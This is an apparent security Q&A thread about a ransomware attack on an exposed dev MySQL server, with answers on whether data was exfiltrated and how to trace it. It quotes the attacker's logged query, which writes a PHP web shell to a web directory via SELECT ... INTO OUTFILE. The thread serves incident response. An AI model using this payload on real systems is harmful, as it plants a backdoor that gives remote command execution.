0

I had a test mysql database running on Vagrant dev box. Turns out the network wasn't that secure.

All of the databases were deleted (and replaced with a DB ransomware note) and in the logs I can see all of the drop db commands. However, I don't see any sign of dump or mysql dump commands anywhere.

There are some commands like below in the logs.

Query   SHOW SESSION VARIABLES LIKE 'FOREIGN_KEY_CHECKS'
Query   SHOW SESSION VARIABLES LIKE 'FOREIGN_KEY_CHECKS'
Query   SELECT "CMD2018<br><pre><?php @system($_GET['cmd']);?></pre>" INTO OUTFILE '/home/http/817BCD5B9C3A4B79D312345AB.php'

However, none of the outfiles existed anywhere. Could data have been downloaded via the outfiles, or was that a means to run external commands?

I don't care that the data was deleted as this was just dev and there are many backups. The question is, could data have been downloaded if there were no dump commands? If so, what do I need to look for? I just need to try and confirm if hackers took some data, which could be leaked etc.

  • 1
    It's almost certain that your data was exfiltrated. – user9517 Dec 26 '18 at 8:06
1

You do realize, for ransomeware to function, they have to have a copy of your data if they deleted your local copy? Otherwise there isn’t much to ransom - if they just deleted it, what would you pay for? Often times they will send a segment of data to prove they have a copy.

Whatever data is in that database, consider it fully breached. Keep in mind that if you have any European citizen data, the breach needs to be publicly disclosed within 72 hours of discovery.

| improve this answer | |
  • For space efficiency reasons, they sometimes only store that snippet of data, offering an empty promise of recovery upon remittance of payment. – Spooler Aug 12 '19 at 22:01
1

SELECT "CMD2018<br><pre><?php @system($_GET['cmd']);?></pre>" INTO OUTFILE '/home/http/817BCD5B9C3A4B79D312345AB.php' is clearly an attempt to create a backdoor shell to run any commands on the system, not just the SQL queries you've found so far. If the /home/http/ is publicly available via HTTP(S), they may have done more actions after the first exploit.

You might find further traces on what have been done from your web server logs by finding the commands executed through /817BCD5B9C3A4B79D312345AB.php?cmd=. The commands for SQL dumps and for removing the files might be there – or the commands used for creating another shell access that wouldn't leave such traces.

| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.